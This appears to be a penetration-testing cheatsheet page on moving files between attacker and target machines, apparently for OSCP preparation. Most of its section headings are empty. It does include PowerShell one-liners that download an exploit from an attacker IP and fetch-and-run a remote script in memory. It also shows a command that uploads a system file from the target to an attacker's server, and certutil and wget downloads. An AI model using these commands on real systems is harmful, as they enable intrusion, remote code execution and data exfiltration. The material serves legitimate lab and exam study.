πŸ“File Transfer

For more detailed methods: https://hackersinterview.com/oscp/oscp-cheatsheet-windows-file-transfer-techniques/

Use my transfile.sh script from here

Windows

Powershell

Download file

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.2/exploit.exe', 'exploit.exe')

Download and execute without saving on disk

powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.1.2/test.ps1')

To encode using powershell:

Decode in linux with base64 -d
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

To upload using powershell

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Use python -m uploadserver on target
Invoke-FileUpload -Uri http://10.10.14.24:80/upload -File C:\Windows\System32\drivers\etc\hosts

CMD

certutil -urlcache -f ${file url} filename
powershell wget -Uri http://192.168.45.183/plink.exe -OutFile C:\Windows\Temp\plink.exe

Linux and Windows

Python Server

Attacker:

OR

Target:

Download

Upload:

To base64 encode:

Apache Server

SMB

Attacker:

Target(powershell):

or

FTP :

  • Attacker : To Host

  • Target:

To Upload:

Attacker:

Target:

Webdav (If port 445 restrictions present)

Attcker:

target:

Linux

If no write permissions:

Bash

Netcat

To read files:

To receive:

Using netcat to send files:

Target

Attack

SSH

If creds are available

Base64

Use mf5sum command to verify and file command to check type

Linux

To get base64 output of the file:

Decrypt

Powershell

Last updated

Was this helpful?